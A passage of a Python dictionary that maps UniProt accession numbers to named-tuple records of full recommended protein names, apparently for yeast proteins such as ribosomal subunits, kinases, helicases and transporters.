'P19812' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase UBR1'),
'P19880' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP1 {ECO:0000305}'),
'P19881' : ntuniprot(RecName_Full='4-nitrophenylphosphatase'),
'P19882' : ntuniprot(RecName_Full='Heat shock protein 60, mitochondrial'),
'P19955' : ntuniprot(RecName_Full='37S ribosomal protein YMR-31, mitochondrial'),
'P19956' : ntuniprot(RecName_Full='54S ribosomal protein L44, mitochondrial'),
'P20048' : ntuniprot(RecName_Full='Dolichol kinase'),
'P20049' : ntuniprot(RecName_Full='Prephenate dehydrogenase [NADP(+)]'),
'P20050' : ntuniprot(RecName_Full='Meiosis-specific protein HOP1'),
'P20051' : ntuniprot(RecName_Full='Dihydroorotase'),
'P20052' : ntuniprot(RecName_Full='PHO85 cyclin PHO80'),
'P20053' : ntuniprot(RecName_Full='U4/U6 small nuclear ribonucleoprotein PRP4'),
'P20081' : ntuniprot(RecName_Full='FK506-binding protein 1'),
'P20084' : ntuniprot(RecName_Full='54S ribosomal protein L33, mitochondrial'),
'P20095' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor ATP-dependent RNA helicase-like protein PRP2'),
'P20107' : ntuniprot(RecName_Full='Zinc/cadmium resistance protein'),
'P20133' : ntuniprot(RecName_Full='Geranylgeranyl transferase type-2 subunit beta'),
'P20134' : ntuniprot(RecName_Full='Flocculation suppression protein'),
'P20424' : ntuniprot(RecName_Full='Signal recognition particle subunit SRP54'),
'P20433' : ntuniprot(RecName_Full='DNA-directed RNA polymerase II subunit RPB4'),
'P20434' : ntuniprot(RecName_Full='DNA-directed RNA polymerases I, II, and III subunit RPABC1'),
'P20435' : ntuniprot(RecName_Full='DNA-directed RNA polymerases I, II, and III subunit RPABC2'),
'P20436' : ntuniprot(RecName_Full='DNA-directed RNA polymerases I, II, and III subunit RPABC3'),
'P20437' : ntuniprot(RecName_Full='G1/S-specific cyclin CLN1'),
'P20438' : ntuniprot(RecName_Full='G1/S-specific cyclin CLN2'),
'P20447' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP3'),
'P20448' : ntuniprot(RecName_Full='ATP-dependent RNA helicase HCA4'),
'P20449' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP5'),
'P20457' : ntuniprot(RecName_Full='DNA primase large subunit'),
'P20459' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 2 subunit alpha'),
'P20484' : ntuniprot(RecName_Full='Protein MAK11'),
'P20485' : ntuniprot(RecName_Full='Choline kinase'),
'P20486' : ntuniprot(RecName_Full='Cyclin-dependent kinases regulatory subunit'),
'P20604' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PP1-1'),
'P20606' : ntuniprot(RecName_Full='Small COPII coat GTPase SAR1'),
'P20676' : ntuniprot(RecName_Full='Nucleoporin NUP1'),
'P20795' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 33'),
'P20840' : ntuniprot(RecName_Full='Alpha-agglutinin'),
'P20967' : ntuniprot(RecName_Full='2-oxoglutarate dehydrogenase, mitochondrial'),
'P21147' : ntuniprot(RecName_Full='Acyl-CoA desaturase 1'),
'P21182' : ntuniprot(RecName_Full='S-adenosylmethionine decarboxylase proenzyme'),
'P21190' : ntuniprot(RecName_Full='Meiosis-inducing protein 1'),
'P21192' : ntuniprot(RecName_Full='Metallothionein expression activator'),
'P21242' : ntuniprot(RecName_Full='Probable proteasome subunit alpha type-7'),
'P21243' : ntuniprot(RecName_Full='Proteasome subunit alpha type-1'),
'P21264' : ntuniprot(RecName_Full='Phosphoribosylaminoimidazole carboxylase'),
'P21268' : ntuniprot(RecName_Full='Cyclin-dependent kinase inhibitor FAR1'),
'P21269' : ntuniprot(RecName_Full='CCA tRNA nucleotidyltransferase, mitochondrial'),
'P21304' : ntuniprot(RecName_Full='Periodic tryptophan protein 1'),
'P21306' : ntuniprot(RecName_Full='ATP synthase subunit epsilon, mitochondrial'),
'P21339' : ntuniprot(RecName_Full='Morphogenesis-related protein MSB1'),
'P21372' : ntuniprot(RecName_Full='Pre-mRNA-processing ATP-dependent RNA helicase PRP5'),
'P21373' : ntuniprot(RecName_Full='NAD(+) kinase'),
'P21374' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor ISY1'),
'P21375' : ntuniprot(RecName_Full='Fumarate reductase 2'),
'P21524' : ntuniprot(RecName_Full='Ribonucleoside-diphosphate reductase large chain 1'),
'P21538' : ntuniprot(RecName_Full='DNA-binding protein REB1'),
'P21560' : ntuniprot(RecName_Full='Protein CBP3, mitochondrial'),
'P21576' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 1'),
'P21592' : ntuniprot(RecName_Full='Protoheme IX farnesyltransferase, mitochondrial'),
'P21595' : ntuniprot(RecName_Full='Cytochrome P450-DIT2'),
'P21623' : ntuniprot(RecName_Full='Spore wall maturation protein DIT1'),
'P21651' : ntuniprot(RecName_Full='Recombination protein 107'),
'P21657' : ntuniprot(RecName_Full='Transcriptional activator protein DAL81'),
'P21672' : ntuniprot(RecName_Full='Ribonucleoside-diphosphate reductase large chain 2'),
'P21691' : ntuniprot(RecName_Full='Regulatory protein SIR1'),
'P21705' : ntuniprot(RecName_Full='Protein DAL82'),
'P21734' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2 1'),
'P21771' : ntuniprot(RecName_Full='37S ribosomal protein S28, mitochondrial'),
'P21801' : ntuniprot(RecName_Full='Succinate dehydrogenase [ubiquinone] iron-sulfur subunit, mitochondrial'),
'P21825' : ntuniprot(RecName_Full='Translocation protein SEC62'),
'P21826' : ntuniprot(RecName_Full='Malate synthase 2, glyoxysomal'),
'P21827' : ntuniprot(RecName_Full='Guanine nucleotide exchange factor SRM1'),
'P21951' : ntuniprot(RecName_Full='DNA polymerase epsilon catalytic subunit A'),
'P21954' : ntuniprot(RecName_Full='Isocitrate dehydrogenase [NADP], mitochondrial'),
'P21957' : ntuniprot(RecName_Full='Transcriptional repressor OPI1'),
'P21965' : ntuniprot(RecName_Full='Protein kinase MCK1'),
'P22007' : ntuniprot(RecName_Full='Protein farnesyltransferase subunit beta'),
'P22023' : ntuniprot(RecName_Full='Killer toxin-resistance protein 5'),
'P22035' : ntuniprot(RecName_Full='Myb-like DNA-binding protein BAS1'),
'P22082' : ntuniprot(RecName_Full='Transcription regulatory protein SNF2'),
'P22108' : ntuniprot(RecName_Full="Diadenosine 5',5'''-P1,P4-tetraphosphate phosphorylase 2 {ECO:0000303|PubMed:2174863}"),
'P22133' : ntuniprot(RecName_Full='Malate dehydrogenase, cytoplasmic'),
'P22134' : ntuniprot(RecName_Full='DNA-3-methyladenine glycosylase'),
'P22135' : ntuniprot(RecName_Full='Protein ATP12, mitochondrial'),
'P22136' : ntuniprot(RecName_Full='ATPase expression protein 2, mitochondrial'),
'P22137' : ntuniprot(RecName_Full='Clathrin heavy chain'),
'P22138' : ntuniprot(RecName_Full='DNA-directed RNA polymerase I subunit RPA135'),
'P22139' : ntuniprot(RecName_Full='DNA-directed RNA polymerases I, II, and III subunit RPABC5'),
'P22140' : ntuniprot(RecName_Full='Choline/ethanolaminephosphotransferase 1'),
'P22141' : ntuniprot(RecName_Full='Proteasome subunit beta type-4'),
'P22146' : ntuniprot(RecName_Full='1,3-beta-glucanosyltransferase GAS1'),
'P22147' : ntuniprot(RecName_Full="5'-3' exoribonuclease 1"),
'P22148' : ntuniprot(RecName_Full='Protein MSN1'),
'P22149' : ntuniprot(RecName_Full='Iron-regulated transcriptional activator AFT1'),
'P22202' : ntuniprot(RecName_Full='Heat shock protein SSA4'),
'P22203' : ntuniprot(RecName_Full='V-type proton ATPase subunit E'),
'P22204' : ntuniprot(RecName_Full='Cell cycle protein kinase DBF2'),
'P22209' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KIN3'),
'P22211' : ntuniprot(RecName_Full='Nitrogen permease reactivator protein'),
'P22213' : ntuniprot(RecName_Full='Protein SLY1'),
'P22214' : ntuniprot(RecName_Full='Protein transport protein SEC22'),
'P22215' : ntuniprot(RecName_Full='Uncharacterized transporter SLY41'),
'P22216' : ntuniprot(RecName_Full='Serine/threonine-protein kinase RAD53'),
'P22217' : ntuniprot(RecName_Full='Thioredoxin-1'),
'P22219' : ntuniprot(RecName_Full='Serine/threonine-protein kinase VPS15'),
'P22224' : ntuniprot(RecName_Full='Exocyst complex component SEC15'),
'P22276' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC2'),
'P22289' : ntuniprot(RecName_Full='Cytochrome b-c1 complex subunit 9'),
'P22336' : ntuniprot(RecName_Full='Replication factor A protein 1'),
'P22353' : ntuniprot(RecName_Full='54S ribosomal protein L8, mitochondrial'),
'P22354' : ntuniprot(RecName_Full='54S ribosomal protein L20, mitochondrial'),
'P22434' : ntuniprot(RecName_Full="3',5'-cyclic-nucleotide phosphodiesterase 1"),
'P22438' : ntuniprot(RecName_Full='Methionine--tRNA ligase, mitochondrial'),
'P22470' : ntuniprot(RecName_Full='Protein SAN1'),
'P22515' : ntuniprot(RecName_Full='Ubiquitin-activating enzyme E1 1'),
'P22516' : ntuniprot(RecName_Full='ATP-dependent DNA helicase CHL1'),
'P22517' : ntuniprot(RecName_Full='Calcium/calmodulin-dependent protein kinase II'),
'P22543' : ntuniprot(RecName_Full='Phosphatidylinositol 3-kinase VPS34'),
'P22579' : ntuniprot(RecName_Full='Transcriptional regulatory protein SIN3'),
'P22580' : ntuniprot(RecName_Full='Probable amidase'),
'P22696' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase ESS1'),
'P22768' : ntuniprot(RecName_Full='Argininosuccinate synthase'),
'P22803' : ntuniprot(RecName_Full='Thioredoxin-2'),
'P22804' : ntuniprot(RecName_Full='Protein transport protein BET1'),
'P22855' : ntuniprot(RecName_Full='Alpha-mannosidase'),
'P22936' : ntuniprot(RecName_Full='DNA-(apurinic or apyrimidinic site) lyase 1'),
'P22943' : ntuniprot(RecName_Full='12 kDa heat shock protein'),
'P23059' : ntuniprot(RecName_Full='N-alpha-acetyltransferase 38, NatC auxiliary subunit'),
'P23060' : ntuniprot(RecName_Full='Protein MAK32'),
'P23179' : ntuniprot(RecName_Full='Meiosis-specific protein SPO11'),
'P23180' : ntuniprot(RecName_Full='Probable oxidoreductase AIM17'),
'P23201' : ntuniprot(RecName_Full='Protein SPA2'),
'P23202' : ntuniprot(RecName_Full='Transcriptional regulator URE2'),
'P23248' : ntuniprot(RecName_Full='40S ribosomal protein S1-B {ECO:0000255|HAMAP-Rule:MF_03122, ECO:0000303|PubMed:9559554}'),
'P23250' : ntuniprot(RecName_Full='Negative RAS protein regulator protein'),
'P23254' : ntuniprot(RecName_Full='Transketolase 1'),
'P23255' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 2'),
'P23285' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase B'),
'P23287' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 2B catalytic subunit A1'),
'P23291' : ntuniprot(RecName_Full='Casein kinase I homolog 1'),
'P23292' : ntuniprot(RecName_Full='Casein kinase I homolog 2'),
'P23293' : ntuniprot(RecName_Full='Serine/threonine-protein kinase BUR1'),
'P23301' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 5A-1'),
'P23337' : ntuniprot(RecName_Full='Glycogen [starch] synthase isoform 1'),
'P23369' : ntuniprot(RecName_Full='54S ribosomal protein L25, mitochondrial'),
'P23394' : ntuniprot(RecName_Full='Pre-mRNA-splicing ATP-dependent RNA helicase PRP28'),
'P23493' : ntuniprot(RecName_Full='Mitochondrial biogenesis regulation protein 1'),
'P23500' : ntuniprot(RecName_Full='Mitochondrial RNA-splicing protein MRS4'),
'P23501' : ntuniprot(RecName_Full='Dihydrosphingosine 1-phosphate phosphatase YSR3'),
'P23503' : ntuniprot(RecName_Full='Cytosolic Fe-S cluster assembly factor NAR1'),
'P23542' : ntuniprot(RecName_Full='Aspartate aminotransferase, cytoplasmic'),
'P23561' : ntuniprot(RecName_Full='Serine/threonine-protein kinase STE11'),
'P23585' : ntuniprot(RecName_Full='High-affinity glucose transporter HXT2'),
'P23594' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PP2A-1 catalytic subunit'),
'P23595' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PP2A-2 catalytic subunit'),
'P23615' : ntuniprot(RecName_Full='Transcription elongation factor SPT6'),
'P23624' : ntuniprot(RecName_Full='Meiosis-specific protein SPO13'),
'P23638' : ntuniprot(RecName_Full='Proteasome subunit alpha type-3'),
'P23639' : ntuniprot(RecName_Full='Proteasome subunit alpha type-2'),
'P23641' : ntuniprot(RecName_Full='Mitochondrial phosphate carrier protein'),
'P23642' : ntuniprot(RecName_Full='Mannan polymerase I complex VAN1 subunit'),
'P23643' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 3'),
'P23644' : ntuniprot(RecName_Full='Mitochondrial import receptor subunit TOM40'),
'P23724' : ntuniprot(RecName_Full='Proteasome subunit beta type-6'),
'P23748' : ntuniprot(RecName_Full='M-phase inducer phosphatase'),
'P23776' : ntuniprot(RecName_Full='Glucan 1,3-beta-glucosidase I/II'),
'P23796' : ntuniprot(RecName_Full="tRNA A64-2'-O-ribosylphosphate transferase"),
'P23797' : ntuniprot(RecName_Full='N-acetylglucosaminyl-phosphatidylinositol de-N-acetylase'),
'P23833' : ntuniprot(RecName_Full='Protein SCO1, mitochondrial'),
'P23900' : ntuniprot(RecName_Full='Glycerol uptake/efflux facilitator protein'),
'P23968' : ntuniprot(RecName_Full="V-type proton ATPase subunit c''"),
'P24000' : ntuniprot(RecName_Full='60S ribosomal protein L24-B {ECO:0000303|PubMed:9559554}'),
'P24004' : ntuniprot(RecName_Full='Peroxisomal ATPase PEX1'),
'P24031' : ntuniprot(RecName_Full='Constitutive acid phosphatase'),
'P24276' : ntuniprot(RecName_Full='Protein SSD1'),
'P24279' : ntuniprot(RecName_Full='DNA replication licensing factor MCM3'),
'P24280' : ntuniprot(RecName_Full='SEC14 cytosolic factor'),
'P24309' : ntuniprot(RecName_Full='Lariat debranching enzyme'),
'P24384' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor ATP-dependent RNA helicase PRP22'),
'P24482' : ntuniprot(RecName_Full='DNA polymerase epsilon subunit B'),
'P24521' : ntuniprot(RecName_Full='Phosphomevalonate kinase'),
'P24583' : ntuniprot(RecName_Full='Protein kinase C-like 1'),
'P24719' : ntuniprot(RecName_Full='Meiosis-specific serine/threonine-protein kinase MEK1'),
'P24720' : ntuniprot(RecName_Full='Protein MNE1'),
'P24783' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP2'),
'P24784' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP1'),
'P24813' : ntuniprot(RecName_Full='AP-1-like transcription factor YAP2 {ECO:0000305}'),
'P24814' : ntuniprot(RecName_Full='SCF E3 ubiquitin ligase complex F-box protein GRR1'),
'P24867' : ntuniprot(RecName_Full='PHO85 cyclin-1 {ECO:0000305|PubMed:7973730}'),
'P24868' : ntuniprot(RecName_Full='G2/mitotic-specific cyclin-1'),
'P24869' : ntuniprot(RecName_Full='G2/mitotic-specific cyclin-2'),
'P24870' : ntuniprot(RecName_Full='G2/mitotic-specific cyclin-3'),
'P24871' : ntuniprot(RecName_Full='G2/mitotic-specific cyclin-4'),
'P25036' : ntuniprot(RecName_Full='Subtilisin-like protease 3'),
'P25037' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 1'),
'P25038' : ntuniprot(RecName_Full='Translation initiation factor IF-2, mitochondrial'),
'P25039' : ntuniprot(RecName_Full='Elongation factor G, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03061}'),
'P25040' : ntuniprot(RecName_Full='20S rRNA accumulation protein 4'),
'P25042' : ntuniprot(RecName_Full='Repressor ROX1'),
'P25043' : ntuniprot(RecName_Full='Proteasome subunit beta type-2'),
'P25044' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase 1'),
'P25045' : ntuniprot(RecName_Full='Serine palmitoyltransferase 1'),
'P25046' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 19'),
'P25087' : ntuniprot(RecName_Full='Sterol 24-C-methyltransferase'),
'P25270' : ntuniprot(RecName_Full='rRNA methyltransferase 1, mitochondrial {ECO:0000303|PubMed:11867542}'),
'P25293' : ntuniprot(RecName_Full='Nucleosome assembly protein'),
'P25294' : ntuniprot(RecName_Full='Protein SIS1'),
'P25296' : ntuniprot(RecName_Full='Calcineurin subunit B'),
'P25297' : ntuniprot(RecName_Full='Inorganic phosphate transporter PHO84'),
'P25298' : ntuniprot(RecName_Full="mRNA 3'-end-processing protein RNA14"),
'P25299' : ntuniprot(RecName_Full="mRNA 3'-end-processing protein RNA15"),
'P25300' : ntuniprot(RecName_Full='Bud site selection protein 5'),
'P25301' : ntuniprot(RecName_Full='DNA repair protein RAD57'),
'P25302' : ntuniprot(RecName_Full='Regulatory protein SWI4'),
'P25303' : ntuniprot(RecName_Full='DnaJ-related protein SCJ1'),
'P25332' : ntuniprot(RecName_Full='Ribokinase {ECO:0000255|HAMAP-Rule:MF_03215, ECO:0000303|PubMed:1964349}'),
'P25333' : ntuniprot(RecName_Full='Serine/threonine-protein kinase HAL4/SAT4'),
'P25334' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase CPR4'),
'P25335' : ntuniprot(RecName_Full='Allantoicase'),
'P25336' : ntuniprot(RecName_Full='DNA mismatch repair protein MSH3'),
'P25337' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor BUD31'),
'P25338' : ntuniprot(RecName_Full='Uncharacterized endoplasmic reticulum membrane protein YGL010W'),
'P25339' : ntuniprot(RecName_Full='Pumilio homology domain family member 4'),
'P25340' : ntuniprot(RecName_Full='Delta(24(24(1)))-sterol reductase'),
'P25341' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KIN82'),
'P25342' : ntuniprot(RecName_Full='Cell division control protein 10'),
'P25343' : ntuniprot(RecName_Full='Reduced viability upon starvation protein 161'),
'P25344' : ntuniprot(RecName_Full='Protein STE50'),
'P25345' : ntuniprot(RecName_Full='Asparagine--tRNA ligase, mitochondrial'),
'P25346' : ntuniprot(RecName_Full='Glycerophosphoinositol transporter 1 {ECO:0000303|PubMed:9691030}'),
'P25348' : ntuniprot(RecName_Full='54S ribosomal protein L32, mitochondrial'),
'P25349' : ntuniprot(RecName_Full='Flavoprotein-like protein YCP4'),
'P25351' : ntuniprot(RecName_Full='Uncharacterized membrane protein YCR023C'),
'P25353' : ntuniprot(RecName_Full='Ectonucleotide pyrophosphatase/phosphodiesterase 1'),
'P25354' : ntuniprot(RecName_Full='DUP240 protein YCR007C'),
'P25355' : ntuniprot(RecName_Full='Copper transport protein 86'),
'P25356' : ntuniprot(RecName_Full='Beige protein homolog 1'),
'P25357' : ntuniprot(RecName_Full='Probable DNA-binding protein SNT1'),
'P25358' : ntuniprot(RecName_Full='Elongation of fatty acids protein 2 {ECO:0000303|PubMed:9211877}'),
'P25359' : ntuniprot(RecName_Full='Exosome complex component RRP43'),
'P25360' : ntuniprot(RecName_Full='Inorganic phosphate transporter PHO87'),
'P25361' : ntuniprot(RecName_Full='Uncharacterized protein YCR043C'),
'P25362' : ntuniprot(RecName_Full='Protein PET18'),
'P25364' : ntuniprot(RecName_Full='Forkhead transcription factor HCM1'),
'P25365' : ntuniprot(RecName_Full='Putative guanine nucleotide-exchange factor SED4'),
'P25366' : ntuniprot(RecName_Full='Protein OCA4'),
'P25367' : ntuniprot(RecName_Full='[PIN+] prion protein RNQ1'),
'P25368' : ntuniprot(RecName_Full='Ribosomal RNA-processing protein 7'),
'P25369' : ntuniprot(RecName_Full='LAS seventeen-binding protein 5'),
'P25370' : ntuniprot(RecName_Full='Good for full DBP5 activity protein 2'),
'P25371' : ntuniprot(RecName_Full='Probable ATP-dependent permease'),
'P25372' : ntuniprot(RecName_Full='Thioredoxin-3, mitochondrial'),
'P25373' : ntuniprot(RecName_Full='Glutaredoxin-1'),
'P25374' : ntuniprot(RecName_Full='Cysteine desulfurase, mitochondrial {ECO:0000303|PubMed:15220327}'),
'P25375' : ntuniprot(RecName_Full='Saccharolysin'),
'P25376' : ntuniprot(RecName_Full='General amino acid permease AGP1'),
'P25377' : ntuniprot(RecName_Full='NADP-dependent alcohol dehydrogenase 7'),
'P25378' : ntuniprot(RecName_Full='Rheb-like protein RHB1'),
'P25379' : ntuniprot(RecName_Full='Catabolic L-serine/threonine dehydratase'),
'P25380' : ntuniprot(RecName_Full='Sporulation-specific protein 22'),
'P25381' : ntuniprot(RecName_Full='Subtilase-type proteinase RRT12'),
'P25382' : ntuniprot(RecName_Full='Ribosome assembly protein 4 {ECO:0000303|PubMed:16221974}'),
'P25383' : ntuniprot(RecName_Full='Transposon Ty2-C Gag polyprotein'),
'P25384' : ntuniprot(RecName_Full='Transposon Ty2-C Gag-Pol polyprotein'),
'P25385' : ntuniprot(RecName_Full='Protein transport protein BOS1'),
'P25386' : ntuniprot(RecName_Full='Intracellular protein transport protein USO1'),
'P25389' : ntuniprot(RecName_Full='Probable serine/threonine-protein kinase KCC4'),
'P25390' : ntuniprot(RecName_Full='Serine/threonine-protein kinase SSK22'),
'P25441' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC4'),
'P25443' : ntuniprot(RecName_Full='40S ribosomal protein S2 {ECO:0000303|PubMed:9559554}'),
'P25451' : ntuniprot(RecName_Full='Proteasome subunit beta type-3'),
'P25453' : ntuniprot(RecName_Full='Meiotic recombination protein DMC1'),
'P25454' : ntuniprot(RecName_Full='DNA repair protein RAD51'),
'P25491' : ntuniprot(RecName_Full='Mitochondrial protein import protein MAS5'),
'P25502' : ntuniprot(RecName_Full='Proline utilization trans-activator'),
'P25515' : ntuniprot(RecName_Full='V-type proton ATPase subunit c'),
'P25554' : ntuniprot(RecName_Full='SAGA-associated factor 29'),
'P25555' : ntuniprot(RecName_Full='Single-strand telomeric DNA-binding protein GBP2'),
'P25558' : ntuniprot(RecName_Full='Bud site selection protein 3'),
'P25559' : ntuniprot(RecName_Full='Sister chromatid cohesion protein DCC1'),
'P25560' : ntuniprot(RecName_Full='Protein RER1'),
'P25565' : ntuniprot(RecName_Full='Putative uncharacterized protein YCL002C'),
'P25566' : ntuniprot(RecName_Full='Peptide methionine sulfoxide reductase 2'),
'P25567' : ntuniprot(RecName_Full='RNA-binding protein SRO9'),
'P25568' : ntuniprot(RecName_Full='Autophagy-related protein 22'),
'P25569' : ntuniprot(RecName_Full='Glucose-induced degradation protein 7'),
'P25572' : ntuniprot(RecName_Full='Putative uncharacterized protein YCL042W'),
'P25573' : ntuniprot(RecName_Full='Mitochondrial inner membrane i-AAA protease supercomplex subunit MGR1'),
'P25574' : ntuniprot(RecName_Full='ER membrane protein complex subunit 1'),
'P25576' : ntuniprot(RecName_Full='Nicotinamide mononucleotide adenylyltransferase {ECO:0000303|PubMed:24759102}'),
'P25577' : ntuniprot(RecName_Full='Uncharacterized protein YCL049C'),
'P25578' : ntuniprot(RecName_Full='CDP-diacylglycerol--glycerol-3-phosphate 3-phosphatidyltransferase'),
'P25579' : ntuniprot(RecName_Full='Laminarase-resistance protein LRE1'),
'P25580' : ntuniprot(RecName_Full='Protein PBN1'),
'P25582' : ntuniprot(RecName_Full="27S pre-rRNA (guanosine(2922)-2'-O)-methyltransferase"),
'P25583' : ntuniprot(RecName_Full='Karyogamy protein KAR4'),
'P25584' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX34'),
'P25585' : ntuniprot(RecName_Full='Protein FYV5'),
'P25586' : ntuniprot(RecName_Full='KRR1 small subunit processome component'),
'P25587' : ntuniprot(RecName_Full='Protein LDB16'),
'P25588' : ntuniprot(RecName_Full='Mediator of replication checkpoint protein 1'),
'P25591' : ntuniprot(RecName_Full='vacuole-related protein 17'),
'P25593' : ntuniprot(RecName_Full='Putative uncharacterized protein YCL068C'),
'P25594' : ntuniprot(RecName_Full='Vacuolar basic amino acid transporter 3'),
'P25596' : ntuniprot(RecName_Full='Glutathione exchanger 1'),
'P25604' : ntuniprot(RecName_Full='Suppressor protein STP22 of temperature-sensitive alpha-factor receptor and arginine permease'),
'P25605' : ntuniprot(RecName_Full='Acetolactate synthase small subunit, mitochondrial'),
'P25606' : ntuniprot(RecName_Full='Uncharacterized protein YCR100C'),
'P25607' : ntuniprot(RecName_Full='Uncharacterized protein YCR101C'),
'P25608' : ntuniprot(RecName_Full='Uncharacterized protein YCR102C'),
'P25610' : ntuniprot(RecName_Full='Seripauperin-3'),
'P25611' : ntuniprot(RecName_Full='Regulator of drug sensitivity 1'),
'P25612' : ntuniprot(RecName_Full='Putative aryl-alcohol dehydrogenase AAD3'),
'P25613' : ntuniprot(RecName_Full='Accumulation of dyads protein 2'),
'P25615' : ntuniprot(RecName_Full='DNA polymerase IV'),
'P25616' : ntuniprot(RecName_Full='UPF0655 protein YCR015C'),
'P25617' : ntuniprot(RecName_Full='Uncharacterized protein YCR016W'),
'P25618' : ntuniprot(RecName_Full='Protein CWH43'),
'P25619' : ntuniprot(RecName_Full='30 kDa heat shock protein'),
'P25621' : ntuniprot(RecName_Full='Pantothenate transporter FEN2'),
'P25623' : ntuniprot(RecName_Full='Suppressor of yeast profilin deletion'),
'P25625' : ntuniprot(RecName_Full='Protein PER1'),
'P25626' : ntuniprot(RecName_Full='54S ribosomal protein IMG1, mitochondrial'),
'P25627' : ntuniprot(RecName_Full='18S rRNA (guanine(1575)-N(7))-methyltransferase'),
'P25628' : ntuniprot(RecName_Full='Sterol O-acyltransferase 1'),
'P25630' : ntuniprot(RecName_Full='Uncharacterized protein YCR050C'),
'P25631' : ntuniprot(RecName_Full='Ankyrin repeat-containing protein YCR051W'),
'P25632' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex protein RSC6'),
'P25635' : ntuniprot(RecName_Full='Periodic tryptophan protein 2'),
'P25637' : ntuniprot(RecName_Full='Protein IMPACT homolog'),
'P25638' : ntuniprot(RecName_Full='TPR repeat-containing protein associated with Hsp90'),
'P25639' : ntuniprot(RecName_Full='Uncharacterized membrane protein YCR061W'),
'P25641' : ntuniprot(RecName_Full='Putative lipase ATG15'),
'P25642' : ntuniprot(RecName_Full='54S ribosomal protein IMG2, mitochondrial'),
'P25644' : ntuniprot(RecName_Full='DNA topoisomerase 2-associated protein PAT1'),
'P25646' : ntuniprot(RecName_Full='[Pyruvate dehydrogenase [acetyl-transferring]]-phosphatase 2, mitochondrial {ECO:0000305}'),
'P25648' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 12'),
'P25649' : ntuniprot(RecName_Full='ADA histone acetyltransferase complex component 2'),
'P25651' : ntuniprot(RecName_Full='Monopolin complex subunit CSM1'),
'P25653' : ntuniprot(RecName_Full='Factor-induced gene 2 protein'),
'P25654' : ntuniprot(RecName_Full='UPF0587 protein YCR090C'),
'P25655' : ntuniprot(RecName_Full='General negative regulator of transcription subunit 1'),
'P25656' : ntuniprot(RecName_Full='Cell division control protein 50'),
'P25657' : ntuniprot(RecName_Full='Uncharacterized protein YCR099C'),
'P25659' : ntuniprot(RecName_Full='Silencing boundary-establishment protein FUB1 {ECO:0000305|PubMed:22362029}'),
'P25693' : ntuniprot(RecName_Full='PHO85 cyclin-2'),
'P25694' : ntuniprot(RecName_Full='Cell division control protein 48 {ECO:0000305|PubMed:6749598}'),
'P25719' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase C, mitochondrial'),
'P25808' : ntuniprot(RecName_Full='ATP-dependent rRNA helicase SPB4 {ECO:0000305}'),
'P25846' : ntuniprot(RecName_Full='DNA mismatch repair protein MSH1, mitochondrial'),
'P25847' : ntuniprot(RecName_Full='DNA mismatch repair protein MSH2'),
'P26188' : ntuniprot(RecName_Full='Methylated-DNA--protein-cysteine methyltransferase'),
'P26263' : ntuniprot(RecName_Full='Pyruvate decarboxylase isozyme 3'),
'P26309' : ntuniprot(RecName_Full='APC/C activator protein CDC20'),
'P26321' : ntuniprot(RecName_Full='60S ribosomal protein L5 {ECO:0000303|PubMed:9559554}'),
'P26343' : ntuniprot(RecName_Full='Nitrogen regulatory protein DAL80'),
'P26364' : ntuniprot(RecName_Full='GTP:AMP phosphotransferase, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03169}'),
'P26370' : ntuniprot(RecName_Full='Transcriptional activator protein UGA3'),
'P26448' : ntuniprot(RecName_Full='Mitotic check point protein BUB2'),
'P26449' : ntuniprot(RecName_Full='Cell cycle arrest protein BUB3'),
'P26570' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase PP-Z1'),
'P26637' : ntuniprot(RecName_Full='Leucine--tRNA ligase, cytoplasmic'),
'P26725' : ntuniprot(RecName_Full='Probable mannosyltransferase YUR1'),
'P26754' : ntuniprot(RecName_Full='Replication factor A protein 2'),
'P26755' : ntuniprot(RecName_Full='Replication factor A protein 3'),
'P26783' : ntuniprot(RecName_Full='40S ribosomal protein S5 {ECO:0000303|PubMed:9559554}'),
'P26784' : ntuniprot(RecName_Full='60S ribosomal protein L16-A {ECO:0000303|PubMed:14562095}'),
'P26785' : ntuniprot(RecName_Full='60S ribosomal protein L16-B {ECO:0000303|PubMed:9559554}'),
'P26786' : ntuniprot(RecName_Full='40S ribosomal protein S7-A {ECO:0000303|PubMed:9559554}'),
'P26793' : ntuniprot(RecName_Full='Flap endonuclease 1 {ECO:0000255|HAMAP-Rule:MF_03140}'),
'P26798' : ntuniprot(RecName_Full='Protein INO2'),
'P27344' : ntuniprot(RecName_Full='DNA polymerase epsilon subunit C'),
